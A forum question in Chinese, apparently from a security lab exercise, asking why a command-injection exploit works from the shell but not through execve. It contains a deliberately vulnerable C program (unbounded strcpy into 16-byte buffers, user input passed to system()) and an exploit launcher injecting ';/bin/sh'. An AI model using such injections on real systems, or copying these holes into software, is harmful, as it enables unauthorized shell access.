我正在尝试执行具有以下内容的程序(例如 target.c)
void foo(char * arg)
{
char cmd[16];
char par[16];
char * p;
strcpy(cmd, "ls --color -l ");
strcpy(par, arg);
printf("You can use \"%s %s\" to list the files in dir \"%s\"!\n",cmd, par, par);
p = (char*)malloc(strlen(cmd) + strlen(par) + 2);
strcpy(p, cmd);
strcat(p, " ");
strcat(p, par);
system(p);
}
int main(int argc, char ** argv)
{
int i;
char test[256];
if (argc > 1)
foo(argv[1]);
else
printf("usage: %s dir\n", argv[0]);
return 0;
foo(test);
};
现在我试图通过从另一个程序调用它来获取 shell(从下面显示的另一个程序调用很重要:
int main(int argc, char **argv)
{
char * arrv[] = {NULL};
char *payload;
int i; int j;
char * argo[] = {"../targets/target1","sdknsd",NULL};
strcpy(payload,"sd;/bin/sh");
argo[1] = payload;
i=fork();
if(i == 0)
{
execve("../targets/target1" ,argo, arrv );
exit(1);
}
else if(i == -1)
{
perror("fork()");
}
}
我的问题是当我尝试执行目标并提供命令行参数时;/bin/sh 然后我得到 shell,但在从 execve 调用的情况下没有。任何帮助将非常感激
好的,这是输出:
[hvalayap@localhost targets]$ ./target1 ds;/bin/sh
ls: ds: No such file or directory
sh-2.05$
上面的程序将用户输入字符串附加到 ls 并将其传递给系统,因此 system(ls ds;/bin/sh " 给了我 shell
但是当我尝试对另一个程序(第二个程序)的 execve 执行相同操作时,它不起作用说“ds”目录未找到